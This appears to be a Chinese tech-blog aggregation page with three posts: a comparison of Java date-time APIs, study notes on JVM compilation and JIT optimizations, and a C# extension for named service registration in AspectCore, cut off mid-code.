Java中SimpleDateFormat、LocalDateTime和DateTimeFormatter的区别及使用 在Java的世界里,处理日期和时间是常见的任务。尤其在Java 8之前,SimpleDateFormat是处理日期和时间的主要方式。然而,Java 8引入了新的日期时间API,其中LocalDateTime和DateTimeFormatter成为了新的选择。本文将探讨这三者的区别,利弊以及它们的具体使用方法。 SimpleDateFormat SimpleDateFormat 是Java早期版本中用于日期时间格式化的类。它属于java.text包,提供了丰富的日期时间格式化功能。 优点 广泛使用:由于长时间存在,很多老项目都在使用它。 灵活性:支持自定义日期时间格式。 缺点 线程不安全:在多线程环境下,同一个SimpleDateFormat实例可能会导致数据不一致。 易出错:解析字符串为日期时,容易因格式不匹配而抛出异常。 使用示例 SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); String dateStr = sdf.format(new Date()); Date date = sdf.parse("2024-01-12"); LocalDateTime LocalDateTime 是Java 8引入的日期时间API的一部分。它表示没有时区的日期和时间。 优点 不可变性:LocalDateTime实例是不可变的,这提高了线程安全性。 更多操作:提供了更多日期时间的操作方法,例如加减日期、时间计算等。 缺点 不包含时区信息:对于需要处理时区的场景,需要使用其他类如ZonedDateTime。 使用示例 LocalDateTime now = LocalDateTime.now(); LocalDateTime tomorrow = now.plusDays(1); DateTimeFormatter DateTimeFormatter 是用于格式化和解析日期时间的类,同样是Java 8引入的。 优点 线程安全:与SimpleDateFormat不同,DateTimeFormatter是线程安全的。 更多内置格式:提供了大量预定义的格式器。 缺点 学习曲线:对于习惯了SimpleDateFormat的开发者来说,可能需要时间去适应新的API。 使用示例 DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd"); String formattedDate = now.format(formatter); LocalDateTime date = LocalDateTime.parse("2024-01-12", formatter); 总结 虽然SimpleDateFormat在早期Java版本中使用广泛,但它的线程不安全使得在多线程环境下变得不可靠。Java 8的新日期时间API(LocalDateTime和DateTimeFormatter)提供了更强大的功能和更高的线程安全性,是现代Java应用的首选。 在实际开发中,推荐使用Java 8的日期时间API,它们不仅在性能上更优,而且在使用上也更为便捷和直观。不过,对于维护老旧代码或与旧系统交互时,了解SimpleDateFormat的使用仍然很有必要。
2024-01-18
136
0
0
网络聚合
2024-01-18
JVM学习-程序编译与优化
原文链接:https://gaoyubo.cn/blogs/89d6d9be.html 一、前端编译与优化 Java技术下讨论“编译期”需要结合具体上下文语境,因为它可能存在很多种情况: 前端编译器(叫“编译器的前端”更准确一些)把.java文件转变成.class文件的过程 JDK的Javac、Eclipse JDT中的增量式编译器(ECJ) 即时编译器(常称JIT编译器,Just In Time Compiler)运行期把字节码转变成本地机器码的过程 HotSpot虚拟机的C1、C2编译器,Graal编译器 提前编译器(常称AOT编译器,Ahead Of Time Compiler)直接把程序编译成与目标机器指令集相关的二进制代码的过程 JDK的Jaotc、GNU Compiler for the Java(GCJ)、Excelsior JET 。 本章标题中的“前端”指的是由前端编译器完成的编译行为,对于前端编译优化,有以下说法: 前端编译器对代码的运行效率几乎没有任何优化措施可言 Java虚拟机设计团队选择把对性能的优化全部集中到运行期的即时编译器中 这样可以让那些不是由Javac产生的Class文件也同样能享受到编译器优化措施所带来的性能红利 相当多新生的Java语法特性,都是靠编译器的“语法糖”来实现,而不是依赖字节码或者Java虚拟机的底层改进来支持。 Java中即时编译器在运行期的优化过程,支撑了程序执行效率的不断提升; 前端编译器在编译期的优化过程,支撑着程序员的编码效率和语言使用者的幸福感的提高 1.1Javac编译器 从Javac源代码的总体结构来看,编译过程大致可以分为1个准备过程和3个处理过程,它们分别如下所示: 准备过程:初始化插入式注解处理器 解析与填充符号表过程,包括: 词法、语法分析:将源代码的字符流转变为标记集合,构造出抽象语法树 填充符号表:产生符号地址和符号信息 插入式注解处理器的注解处理过程:插入式注解处理器的执行阶段 分析与字节码生成过程,包括: 标注检查:对语法的静态信息进行检查。 数据流及控制流分析:对程序动态运行过程进行检查。 解语法糖:将简化代码编写的语法糖还原为原有的形式。 字节码生成:将前面各个步骤所生成的信息转化成字节码。 对于以上过程:执行插入式注解时又可能会产生新的符号,如果有新的符号产生,就必须转 回到之前的解析、填充符号表的过程中重新处理这些新符号 整个编译过程主要的处理由图中标注的8个方法来完成 解析和填充符号表 词法语法分析 1.词法分析:词法分析是将源代码的字符流转变为标记(Token)集合的过程。 2.语法分析:语法分析是根据标记序列构造抽象语法树的过程 抽象语法树:抽象语法树(Abstract Syntax Tree,AST)是一 种用来描述程序代码语法结构的树形表示方式,抽象语法树的每一个节点都代表着程序代码中的一个语法结构 包、类型、修饰符、运算符、接口、返回值甚至连代码注释等都可以是一种特定的语法结构。 抽象语法树可通过Eclipse AST View插件查看,抽象语法树是以com.sun.tools.javac.tree.JCTree 类表示的 经过词法和语法分析生成语法树以后,编译器就不会再对源码字符流进行操作了,后续的操作都建立在抽象语法树之上 填充符号表 符号表(Symbol Table)是由一组符号地址和符号信息构成的数据结构(可以理解成哈希表中的键值对的存储形式) 符号表中所登记的信息在编译的不同阶段都要被用到: 语义分析的过程中,符号表所登记的内容将用于语义检查 (如检查一个名字的使用和原先的声明是否一致)和产生中间代码 目标代码生成阶段,当对符号名进行地址分配时,符号表是地址分配的直接依据。 注解处理器 可以把插入式注解处理器看作是一组编译器的插件,当这些插件工作时,允许读取、修改、添加抽象语法树中的任意元素。 譬如Java著名的编码效率工具Lombok,它可以通过注解来实现自动产生 getter/setter方法、进行空置检查、生成受查异常表、产生equals()和hashCode()方法,等等. 语义分析与字节码生成 语义分析的主要任务则是对结构上正确的源 程序进行上下文相关性质的检查,譬如进行类型检查、控制流检查、数据流检查,等等 int a = 1; boolean b = false; char c = 2; //后续可能出现的赋值运算: int d = a + c; int d = b + c; //错误, char d = a + c; //错误 //C语言中,a、b、c的上下文定义不变,第二、三种写法都是可以被正确编译的 我们编码时经常能在IDE 中看到由红线标注的错误提示,其中绝大部分都是来源于语义分析阶段的检查结果。 1.标注检查 标注检查步骤要检查的内容包括诸如变量使用前是否已被声明、变量与赋值之间的数据类型是否能够匹配,等等,刚才3个变量定义的例子就属于标注检查的处理范畴 在标注检查中,还会顺便进行 一个称为常量折叠(Constant Folding)的代码优化,这是Javac编译器会对源代码做的极少量优化措施 之一(代码优化几乎都在即时编译器中进行)。 int a = 2 + 1; 由于编译期间进行了常量折叠,所以在代码里面定 义“a=1+2”比起直接定义“a=3”来,并不会增加程序运行期哪怕仅仅一个处理器时钟周期的处理工作量。 2.数据及控制流分析 可以检查出诸如程序局部变量 在使用前是否有赋值、方法的每条路径是否都有返回值、是否所有的受查异常都被正确处理了等问题。 3.解语法糖 在Javac的源码中,解语法糖的过程由desugar()方法触发。 Java中最常见的语法糖包括了前面提到过的泛型、变长参数、自动装箱拆箱,等等。 4.字节码生成 字节码生成是Javac编译过程的最后一个阶段,在Javac源码里面由com.sun.tools.javac.jvm.Gen类来完成。 字节码生成阶段不仅仅是把前面各个步骤所生成的信息(语法树、符号表)转化成字节码指令写到磁盘中,编译器还进行了少量的代码添加和转换工作。 实例构造器()方法和类构造器()方法就是在这个阶段被添加到语 法树之中的 字符串的加操作替换为StringBuffer或StringBuilder(取决于目标代码的版本是否大于或等于JDK 5)的append()操 作,等等。 1.2语法糖的本质 泛型 泛型的本质是参数化类型或者参数化多态的应用,即可以将操作的数据类型指定为方法签名中的一种特殊参数。 Java选择的泛型实现方式叫作类型擦除式泛型:Java语言中的泛型只在程序源码中存在,在编译后的字节码文件中,全部泛型都被替换为原来的裸类型了,并且在相应的地方插入了强制转型代码。 类型擦除 裸类型”(Raw Type)的概念:裸类型应被视为所有该类型泛型化实例的共同父类型(Super Type) ArrayList<Integer> ilist = new ArrayList<Integer>(); ArrayList<String> slist = new ArrayList<String>(); ArrayList list; // 裸类型 list = ilist; list = slist; 如何实现裸类型? 直接在编译时把ArrayList 通过类型擦除还原回ArrayList,只在元素访问、修改时自动插入一些强制类型转换和检查指令 泛型擦除前的例子 public static void main(String[] args) { Map<String, String> map = new HashMap<String, String>(); map.put("hello", "你好"); map.put("how are you?", "吃了没?"); System.out.println(map.get("hello")); System.out.println(map.get("how are you?")); } 把这段Java代码编译成Class文件,然后再用字节码反编译工具进行反编译后,将会发现泛型都不见了 public static void main(String[] args) { Map map = new HashMap();//裸类型 map.put("hello", "你好"); map.put("how are you?", "吃了没?"); System.out.println((String) map.get("hello"));//强制类型转换 System.out.println((String) map.get("how are you?")); } 当泛型遇到重载 public class GenericTypes { public static void method(List<String> list) { System.out.println("invoke method(List<String> list)"); } public static void method(List<Integer> list) { System.out.println("invoke method(List<Integer> list)"); } } 参数列表在特征签名中,因此参数列表不同时,可以进行重载,但是由于所有泛型都需要通过类型擦出转化为裸类型,导致参数都是List list,所以不能重载。会报错。 自动装箱、拆箱与遍历循环 public static void main(String[] args) { List<Integer> list = Arrays.asList(1, 2, 3, 4); int sum = 0; for (int i : list) { sum += i; } System.out.println(sum); } 编译后: public static void main(String[] args) { List list = Arrays.asList( new Integer[] { Integer.valueOf(1), Integer.valueOf(2), Integer.valueOf(3), Integer.valueOf(4) }); int sum = 0; for (Iterator localIterator = list.iterator(); localIterator.hasNext(); ) { int i = ((Integer)localIterator.next()).intValue(); sum += i; } System.out.println(sum); } 二、后端编译与优化 如果把字节码看作是程序语言的一种中间表示形式(Intermediate Representation,IR)的话, 那编译器无论在何时、在何种状态下把Class文件转换成与本地基础设施(硬件指令集、操作系统)相关的二进制机器码,都可以视为整个编译过程的后端 2.1即时编译器 由于即时编译器编译本地代码需要占用程序运行时间,通常要编译出优化程度越高的代码,所花 费的时间便会越长; 而且想要编译出优化程度更高的代码,解释器可能还要替编译器收集性能监控信息,这对解释执行阶段的速度也有所影响。 为了在程序启动响应速度与运行效率之间达到最佳平衡: HotSpot虚拟机在编译子系统中加入了分层编译的功能,分层编译根据编译器编译、优化的规模与耗时,划分出不同的编译层次,其中包 括: 第0层。程序纯解释执行,并且解释器不开启性能监控功能(Profiling)。 第1层。使用客户端编译器将字节码编译为本地代码来运行,进行简单可靠的稳定优化,不开启 性能监控功能。 第2层。仍然使用客户端编译器执行,仅开启方法及回边次数统计等有限的性能监控功能。 第3层。仍然使用客户端编译器执行,开启全部性能监控,除了第2层的统计信息外,还会收集如分支跳转、虚方法调用版本等全部的统计信息。 第4层。使用服务端编译器将字节码编译为本地代码,相比起客户端编译器,服务端编译器会启 用更多编译耗时更长的优化,还会根据性能监控信息进行一些不可靠的激进优化。 编译对象与触发条件 会被即时编译器编译的目标是热点代码,这里所指的热点代码主要有两类: 被多次调用的方法。 被多次执行的循环体。 对于这两种情况,编译的目标对象都是整个方法体,而不会是单独的循环体。 这种编译方式因为 编译发生在方法执行的过程中,因此被很形象地称为栈上替换(On Stack Replacement,OSR),即方法的栈帧还在栈上,方法就被替换了。 多少次才算“多次”呢? 要知道某段代码是不是热点代码,是不是需要触发即时编译,这个行为称为“热点探测”(Hot Spot Code Detection),判定方式: 基于采样的热点探测(Sample Based Hot Spot Code Detection) 会周期性地检查各个线程的调用栈顶,如果发现某个方法经常出现在栈顶,那这个方法就是热点方法。 缺点:很难精确地确认一个方法的热度,容易因为受到线程阻塞或别的外界因素的影响而 扰乱热点探测 基于计数器的热点探测(Counter Based Hot Spot Code Detection) 为每个方法(甚至是代码块)建立计数器,统计方法的执行次数,如果执行次数超过一定的阈值就认为它是热点方法。 缺点:实现起来要麻烦一些,需要为每个方法建立并维护计数器,而且不能 直接获取到方法的调用关系 J9用过第一种采样热点探测,而在HotSpot 虚拟机中使用的是第二种基于计数器的热点探测方法, HotSpot 中每个方法的 2 个计数器 方法调用计数器 统计方法被调用的次数,处理多次调用的方法的。 默认统计的不是方法调用的绝对次数,而是方法在一段时间内被调用的次数,如果超过这个时间限制还没有达到判为热点代码的阈值,则该方法的调用计数器值减半。 关闭热度衰减:-XX: -UseCounterDecay(此时方法计数器统计的是方法被调用的绝对次数); 设置半衰期时间:-XX: CounterHalfLifeTime(单位是秒); 热度衰减过程是在 GC 时顺便进行。 默认阈值在客户端模式下是1500次,在服务端模式下是10000次, 回边计数器 统计一个方法中 “回边” 的次数,处理多次执行的循环体的。 回边:在字节码中遇到控制流向后跳转的指令(不是所有循环体都是回边,空循环体是自己跳向自己,没有向后跳,不算回边)。 调整回边计数器阈值:-XX: OnStackReplacePercentage(OSR比率) Client 模式:回边计数器的阈值 = 方法调用计数器阈值 * OSR比率 / 100; Server 模式:回边计数器的阈值 = 方法调用计数器阈值 * ( OSR比率 - 解释器监控比率 ) / 100; 编译过程 虚拟机在代码编译未完成时会按照解释方式继续执行,编译动作在后台的编译线程执行。 禁止后台编译:-XX: -BackgroundCompilation,打开后这个开关参数后,交编译请求的线程会等待编译完成,然后执行编译器输出的本地代码。 在后台编译过程中,客户端编译器与服务端编译器是有区别的。 客户端编译器 是一个相对简单快速的三段式编译器,主要的关注点在于局部性的优化,而放弃了许多耗时较长的全局优化手段。 第一个阶段,一个平台独立的前端将字节码构造成一种高级中间代码表示(High-Level Intermediate Representation,HIR,即与目标机器指令集无关的中间表示)。HIR使用静态单分配 (Static Single Assignment,SSA)的形式来代表代码值,这可以使得一些在HIR的构造过程之中和之后进行的优化动作更容易实现。在此之前编译器已经会在字节码上完成一部分基础优化,如方法内联、 常量传播等优化将会在字节码被构造成HIR之前完成。 第二个阶段,一个平台相关的后端从HIR中产生低级中间代码表示(Low-Level Intermediate Representation,LIR,即与目标机器指令集相关的中间表示),而在此之前会在HIR上完成另外一些优化,如空值检查消除、范围检查消除等,以便让HIR达到更高效的代码表示形式。 最后的阶段是在平台相关的后端使用线性扫描算法(Linear Scan Register Allocation)在LIR上分配寄存器,并在LIR上做窥孔(Peephole)优化,然后产生机器代码。客户端编译器大致的执行过程如图 服务端编译器 是专门面向服务端的典型应用场景,执行大部分经典的优化动作,如:无用代码消除(Dead Code Elimination)、循环展开 (Loop Unrolling)、循环表达式外提(Loop Expression Hoisting)、消除公共子表达式(Common Subexpression Elimination)、常量传播(Constant Propagation)、基本块重排序(Basic Block Reordering)等,还会实施一些与Java语言特性密切相关的优化技术,如范围检查消除(Range Check Elimination)、空值检查消除(Null Check Elimination,不过并非所有的空值检查消除都是依赖编译器优化的,有一些是代码运行过程中自动优化了)等。 另外,还可能根据解释器或客户端编译器提供的 性能监控信息,进行一些不稳定的预测性激进优化,如守护内联(Guarded Inlining)、分支频率预测 (Branch Frequency Prediction)等 服务端编译采用的寄存器分配器是一个全局图着色分配器,它可以充分利用某些处理器架构(如 RISC)上的大寄存器集合。 2.2提前编译器 现在提前编译产品和对其的研究有着两条明显的分支: 与传统C、C++编译器类似的,在程序运行之前把程序代码编译成机器码的静态翻译工作 把原本即时编译器在运行时要做的编译工作提前做好并保存下来,下次运行到这些代码(譬如公共库代码在被同一台机器其他Java进程使用)时直接把它加载进来使用。(本质是给即时编译器做缓存加速,去改善Java程序的启动时间) 在目前的Java技术体系里,这种提前编译已经完全被主流的商用JDK支持 困难:这种提前编译方式不仅要和目标机器相关,甚至还必须与HotSpot虚拟机的运行时参数绑定(如生成内存屏障代码)才能正确工作,要做提前编译的话,自然也要把这些配合的工作平移过去。 2.3即时编译器的优势 提前编译的代码输出质量,一定会比即时编译更高吗? 以下为即时编译器相较于提前编译器的优势: 性能分析制导优化(Profile-Guided Optimization,PGO) 抽象类通常会是什么实际类型、条件判断通常会走哪条分支、方法调用通常会选择哪个版本、循环通常会进行多少次等,这些数据一般在静态分析时是无法得到的,或者不可能存在确定且唯一的解, 最多只能依照一些启发性的条件去进行猜测。但在动态运行时却能看出它们具有非常明显的偏好性。就可以把热的代码集中放到 一起,集中优化和分配更好的资源(分支预测、寄存器、缓存等)给它。 激进预测性优化(Aggressive Speculative Optimization) 静态优化无论如何都必须保证优化后所有的程序外部可见影响(不仅仅是执行结果) 与优化前是等效的 然而,即时编译的策略就可以不必这样保守,可以大胆地按照高概率的假设进行优化,万一真的走到罕见分支上,大不了退回到低级编译器甚至解释器上去执行,并不会出现无法挽救的后果。 如果Java虚拟机真的遇到虚方法就去查虚表而不做内 联的话,Java技术可能就已经因性能问题而被淘汰很多年了。 实际上虚拟机会通过类继承关系分析等 一系列激进的猜测去做去虚拟化(Devitalization),以保证绝大部分有内联价值的虚方法都可以顺利内联。 链接时优化(Link-Time Optimization,LTO) 如C、C++的程序要调用某个动态链接库的某个方法,就会出现很明显的边界隔阂,还难以优化。 这是因为主程序与动态链接库的代码在它们编译时是完全独立的,两者各自编译、优化自己的代码。 然而,Java语言天生就是动态链接的,一个个 Class文件在运行期被加载到虚拟机内存当中。 三、编译器优化技术 类型 优化技术 编译器策略 (Compiler Tactics) 延迟编译 (Delayed Compilation) 分层编译 (Tiered Compilation) 栈上替换 (On-Stack Replacement) 延迟优化 (Delayed Reoptimization) 静态单赋值表示 (Static Single Assignment Representation) 基于性能监控的优化技术 (Profile-Based Techniques) 乐观空值断言 (Optimistic Nullness Assertions) 乐观类型断言 (Optimistic Type Assertions) 乐观类型增强 (Optimistic Type Strengthening) 乐观数组长度增强 (Optimistic Array Length Strengthening) 裁剪未被选择的分支 (Untaken Branch Pruning) 乐观的多态内联 (Optimistic N-morphic Inlining) 分支频率预测 (Branch Frequency Prediction) 调用频率预测 (Call Frequency Prediction) 基于证据的优化技术 (Proof-Based Techniques) 精确类型推断 (Exact Type Inference) 内存值推断 (Memory Value Inference) 内存值跟踪 (Memory Value Tracking) 常量折叠 (Constant Folding) 重组 (Reassociation) 操作符退化 (Operator Strength Reduction) 空值检查消除 (Null Check Elimination) 类型检测退化 (Type Test Strength Reduction) 类型检测消除 (Type Test Elimination) 代数简化 (Algebraic Simplification) 公共子表达式消除 (Common Subexpression Elimination) 数据流敏感重写 (Flow-Sensitive Rewrites) 条件常量传播 (Conditional Constant Propagation) 基于流承载的类型缩减转换 (Flow-Carried Type Narrowing) 无用代码消除 (Dead Code Elimination) 语言相关的优化技术 (Language-Specific Techniques) 类型继承关系分析 (Class Hierarchy Analysis) 去虚拟化 (Devirtualization) 符号常量传播 (Symbolic Constant Propagation) 自动装箱消除 (Autobox Elimination) 逃逸分析 (Escape Analysis) 锁消除 (Lock Elision) 锁膨胀 (Lock Coarsening) 消除反射 (De-reflection) 内存及代码位置变换 (Memory and Placement Transformation) 表达式提升 (Expression Hoisting) 表达式下沉 (Expression Sinking) 冗余存储消除 (Redundant Store Elimination) 相邻存储合并 (Adjacent Store Fusion) 交汇点分离 (Merge-Point Splitting) 循环变换 (Loop Transformations) 循环展开 (Loop Unrolling) 循环剥离 (Loop Peeling) 安全点消除 (Safepoint Elimination) 迭代范围分离 (Iteration Range Splitting) 范围检查消除 (Range Check Elimination) 循环向量化 (Loop Vectorization) 全局代码调整 (Global Code Shaping) 内联 (Inlining) 全局代码外提 (Global Code Motion) 基于热度的代码布局 (Heat-Based Code Layout) Switch调整 (Switch Balancing) 控制流图变换 (Control Flow Graph Transformation) 本地代码编排 (Local Code Scheduling) 本地代码封包 (Local Code Bundling) 延迟槽填充 (Delay Slot Filling) 着色图寄存器分配 (Graph-Coloring Register Allocation) 线性扫描寄存器分配 (Linear Scan Register Allocation) 复写聚合 (Copy Coalescing) 常量分裂 (Constant Splitting) 复写移除 (Copy Removal) 地址模式匹配 (Address Mode Matching) 指令窥空优化 (Instruction Peepholing) 基于确定有限状态机的代码生成 (DFA-Based Code Generator) 3.1一个优化的例子 原始代码: static class B { int value; final int get() { return value; } } public void foo() { y = b.get(); // ...do stuff... z = b.get(); sum = y + z; } 第一步优化: 方法内联(一般放在优化序列最前端,因为对其他优化有帮助) 目的: 去除方法调用的成本(如建立栈帧等) 为其他优化建立良好的基础 public void foo() { y = b.value; // ...do stuff... z = b.value; sum = y + z; } 第二步优化: 公共子表达式消除 public void foo() { y = b.value; // ...do stuff... // 因为这部分并没有改变 b.value 的值 // 如果把 b.value 看成一个表达式,就是公共表达式消除 z = y; // 把这一步的 b.value 替换成 y sum = y + z; } 第三步优化: 复写传播 public void foo() { y = b.value; // ...do stuff... y = y; // z 变量与以相同,完全没有必要使用一个新的额外变量 // 所以将 z 替换为 y sum = y + z; } 第四步优化: 无用代码消除 无用代码: 永远不会执行的代码 完全没有意义的代码 public void foo() { y = b.value; // ...do stuff... // y = y; 这句没有意义的,去除 sum = y + y; } 3.2方法内联 它是编译器最重要的优化手段,甚至都可以不加 上“之一”。 除了消除方法调用的成本之外,它更重要的意义是为其他优化手段建立良好的基础 目的是:去除方法调用的成本(如建立栈帧等),并为其他优化建立良好的基础,所以一般将方法内联放在优化序列最前端,因为它对其他优化有帮助。 为了解决虚方法的内联问题:引入类型继承关系分析(Class Hierarchy Analysis,CHA) 用于确定在目前已加载的类中,某个接口是否有多于一种的实现,某个类是否存在子类、子类是否为抽象类等。 对于非虚方法: 直接进行内联,其调用方法的版本在编译时已经确定,是根据变量的静态类型决定的。 对于虚方法: (激进优化,要预留“逃生门”) 向 CHA 查询此方法在当前程序下是否有多个目标可选择; 只有一个目标版本: 先对这唯一的目标进行内联; 如果之后的执行中,虚拟机没有加载到会令这个方法接收者的继承关系发生改变的新类,则该内联代码可以一直使用; 如果加载到导致继承关系发生变化的新类,就抛弃已编译的代码,退回到解释状态进行执行,或者重新进行编译。 有多个目标版本: 使用内联缓存,未发生方法调用前,内联缓存为空; 第一次调用发生后,记录调用方法的对象的版本信息; 之后的每次调用都要先与内联缓存中的对象版本信息进行比较; 版本信息一样,继续使用内联代码,是一种单态内联缓存(Monomorphic Inline Cache) 版本信息不一样,说明程序使用了虚方法的多态特性,退化成超多态内联缓存(Megamorphic Inline Cache),查找虚方法进行方法分派。 3.3逃逸分析【最前沿】 基本行为 分析对象的作用域,看它有没有能在当前作用域之外使用: 方法逃逸:对象在方法中定义之后,能被外部方法引用,如作为参数传递到了其他方法中。 线程逃逸:赋值给 static 变量,或可以在其他线程中访问的实例变量。 对于不会逃逸到方法或线程外的对象能进行优化 栈上分配: 对于不会逃逸到方法外的对象,可以在栈上分配内存,这样这个对象所占用的空间可以随栈帧出栈而销毁,减小 GC 的压力。 标量替换(重要): 标量:基本数据类型和 reference。 不创建对象,而是将对象拆分成一个一个标量,然后直接在栈上分配,是栈上分配的一种实现方式。 HotSpot 使用的是标量替换而不是栈上分配,因为实现栈上分配需要更改大量假设了 “对象只能在堆中分配” 的代码。 同步消除 如果逃逸分析能够确定一个变量不会逃逸出线程,无法被其他线程访问,对这个变量实施的同步措施也就可以安全地消除掉。 虚拟机参数 开启逃逸分析:-XX: +DoEscapeAnalysis 开启标量替换:-XX: +EliminateAnalysis 开启锁消除:-XX: +EliminateLocks 查看分析结果:-XX: PrintEscapeAnalysis 查看标量替换情况:-XX: PrintEliminateAllocations 例子 Point类的代码,这就是一个包含x和y坐标的POJO类型 // 完全未优化的代码 public int test(int x) { int xx = x + 2; Point p = new Point(xx, 42); return p.getX(); } 步骤1:构造函数内联 public int test(int x) { int xx = x + 2; Point p = point_memory_alloc(); // 在堆中分配P对象的示意方法 p.x = xx; // Point构造函数被内联后的样子 p.y = 42; return p.x; // Point::getX()被内联后的样子 } 步骤2:标量替换 经过逃逸分析,发现在整个test()方法的范围内Point对象实例不会发生任何程度的逃逸, 这样可以对它进行标量替换优化,把其内部的x和y直接置换出来,分解为test()方法内的局部变量,从 而避免Point对象实例被实际创建 public int test(int x) { int xx = x + 2; int px = xx; int py = 42; return px; } 步骤3:无效代码消除 通过数据流分析,发现py的值其实对方法不会造成任何影响,那就可以放心地去做无效代码消除得到最终优化结果, public int test(int x) { return x + 2; }
2024-01-18
155
0
0
网络聚合
2024-01-18
AspectCore和MSDI 实现Name注册以及解析对象
AspectCore 在注册服务这块比较简单,默认是无法根据Name去注册和解析对象,这边做一下这块的扩展 大致原理是根据自定义Name去生成对应的动态类型,然后使用委托或者对象的方式,进行注册 tips:由于底层原理的原因,无法支持Type的方式进行注册 定义好动态类型的接口,以及相关实现 1 public interface INamedService : IDisposable 2 { 3 object Service { get; } 4 } 5 6 public interface INamedService<out T> : INamedService 7 where T : class 8 { 9 new T Service { get; } 10 } 11 12 public interface INamedService<out TService, TNamed> : INamedService<TService> 13 where TService : class 14 where TNamed : struct 15 { 16 } 17 18 internal class NamedService<TService, TNamed> : INamedService<TService, TNamed> 19 where TService : class 20 where TNamed : struct 21 { 22 ~NamedService() 23 { 24 Dispose(false); 25 } 26 27 public NamedService(TService service) 28 { 29 Service = service; 30 } 31 32 public TService Service { get; private set; } 33 34 object INamedService.Service => Service; 35 36 public void Dispose() 37 { 38 Dispose(true); 39 GC.SuppressFinalize(this); 40 } 41 42 private void Dispose(bool disposing) 43 { 44 if (!disposing) 45 { 46 return; 47 } 48 49 if (Service == null) 50 { 51 return; 52 } 53 54 if (Service is IDisposable disposable) 55 { 56 disposable.Dispose(); 57 Service = null; 58 } 59 } 60 } 根据自定义Name和ServiceType生成对应的动态类型 1 public static class NamedBuilder 2 { 3 private const string KeyPrefix = "Ksd.NamedType."; 4 private static readonly ModuleBuilder _moduleBuilder = AssemblyBuilder.DefineDynamicAssembly(new AssemblyName("Ksd.DynamicAssembly.NamedType"), AssemblyBuilderAccess.Run).DefineDynamicModule("NamedTypeModule"); 5 private static readonly ConcurrentDictionary<string, Type> _namedTypes = new(StringComparer.OrdinalIgnoreCase); 6 7 private static Type GetNamedType(string name) 8 { 9 if (name.IsNull()) 10 { 11 throw new ArgumentNullException(nameof(name)); 12 } 13 14 name = KeyPrefix + name; 15 16 return _namedTypes.GetOrAdd(name, k => 17 { 18 var tb = _moduleBuilder.DefineType(k, TypeAttributes.Public | TypeAttributes.Sealed, typeof(ValueType)); 19 var type = tb.CreateTypeInfo().AsType(); 20 return type; 21 }); 22 } 23 24 public static Type CreateServiceType(string name, Type serviceType) 25 { 26 var namedType = GetNamedType(name); 27 return typeof(NamedService<,>).MakeGenericType(serviceType, namedType); 28 } 29 30 public static Type CreateServiceBaseType(string name, Type serviceType) 31 { 32 var namedType = GetNamedType(name); 33 return typeof(INamedService<,>).MakeGenericType(serviceType, namedType); 34 } 35 36 public static Type GetNameServiceBaseType(Type namedType) 37 { 38 return namedType.GetInterfaces()[0]; 39 } 40 } 封装根据自定义的Name注册和解析的相关方法 1 public static class NamedServiceExtensions 2 { 3 #region AddInstance 4 public static IServiceContext AddInstance(this IServiceContext services, Type serviceType, object implementationInstance, string name) 5 { 6 if (name.IsNull()) 7 { 8 return services.AddInstance(serviceType, implementationInstance); 9 } 10 11 if (services == null) 12 { 13 throw new ArgumentNullException(nameof(services)); 14 } 15 16 if (serviceType == null) 17 { 18 throw new ArgumentNullException(nameof(serviceType)); 19 } 20 21 if (implementationInstance == null) 22 { 23 throw new ArgumentNullException(nameof(implementationInstance)); 24 } 25 26 var namedType = NamedBuilder.CreateServiceType(name, serviceType); 27 services.AddInstance(NamedBuilder.GetNameServiceBaseType(namedType), Activator.CreateInstance(namedType, implementationInstance)); 28 return services; 29 } 30 31 public static IServiceContext AddInstance<TService>(this IServiceContext services, TService implementationInstance, string name) 32 { 33 return services.AddInstance(typeof(TService), implementationInstance, name); 34 } 35 #endregion 36 37 #region AddDelegate 38 public static IServiceContext AddDelegate(this IServiceContext services, Type serviceType, Func<IServiceResolver, object> implementationDelegate, string name, Lifetime lifetime = Lifetime.Transient) 39 { 40 if (name.IsNull()) 41 { 42 return services.AddDelegate(serviceType, implementationDelegate, lifetime); 43 } 44 45 if (services == null) 46 { 47 throw new ArgumentNullException(nameof(services)); 48 } 49 50 if (serviceType == null) 51 { 52 throw new ArgumentNullException(nameof(serviceType)); 53 } 54 55 if (implementationDelegate == null) 56 { 57 throw new ArgumentNullException(nameof(implementationDelegate)); 58 } 59 60 var namedType = NamedBuilder.CreateServiceType(name, serviceType); 61 services.AddDelegate(NamedBuilder.GetNameServiceBaseType(namedType), s => Activator.CreateInstance(namedType, implementationDelegate(s)), lifetime); 62 return services; 63 } 64 65 public static IServiceContext AddDelegate<TService>(this IServiceContext services, Func<IServiceResolver, TService> implementationDelegate, string name, Lifetime lifetime = Lifetime.Transient) 66 where TService : class 67 { 68 return services.AddDelegate(typeof(TService), implementationDelegate, name, lifetime); 69 } 70 #endregion 71 72 #region Resolve 73 public static T Resolve<T>(this IServiceResolver serviceResolver, string name) 74 where T : class 75 { 76 if (name.IsNull()) 77 { 78 return serviceResolver.Resolve<T>(); 79 } 80 81 var namedType = NamedBuilder.CreateServiceBaseType(name, typeof(T)); 82 var namedService = serviceResolver.Resolve(namedType) as INamedService<T>; 83 return namedService?.Service; 84 } 85 86 public static object Resolve(this IServiceResolver serviceResolver, Type serviceType, string name) 87 { 88 if (name.IsNull()) 89 { 90 return serviceResolver.Resolve(serviceType); 91 } 92 93 var namedType = NamedBuilder.CreateServiceBaseType(name, serviceType); 94 var namedService = serviceResolver.Resolve(namedType) as INamedService; 95 return namedService?.Service; 96 } 97 98 public static IEnumerable<T> ResolveMany<T>(this IServiceResolver serviceResolver, string name) 99 where T : class 100 { 101 if (name.IsNull()) 102 { 103 return serviceResolver.ResolveMany<T>(); 104 } 105 106 var namedType = NamedBuilder.CreateServiceBaseType(name, typeof(T)); 107 var namedServices = serviceResolver.ResolveMany(namedType).OfType<INamedService<T>>(); 108 return namedServices.Select(t => t.Service); 109 } 110 111 public static IEnumerable<object> ResolveMany(this IServiceResolver serviceResolver, Type serviceType, string name) 112 { 113 if (name.IsNull()) 114 { 115 return serviceResolver.ResolveMany(serviceType); 116 } 117 118 var namedType = NamedBuilder.CreateServiceBaseType(name, serviceType); 119 var namedServices = serviceResolver.ResolveMany(namedType) as IEnumerable<INamedService>; 120 return namedServices.Select(t => t.Service); 121 } 122 #endregion 123 124 #region Remove 125 public static IServiceContext RemoveAll(this IServiceContext services, Type serviceType, string name) 126 { 127 if (name.IsNull()) 128 { 129 return services.RemoveAll(serviceType); 130 } 131 132 var namedType = 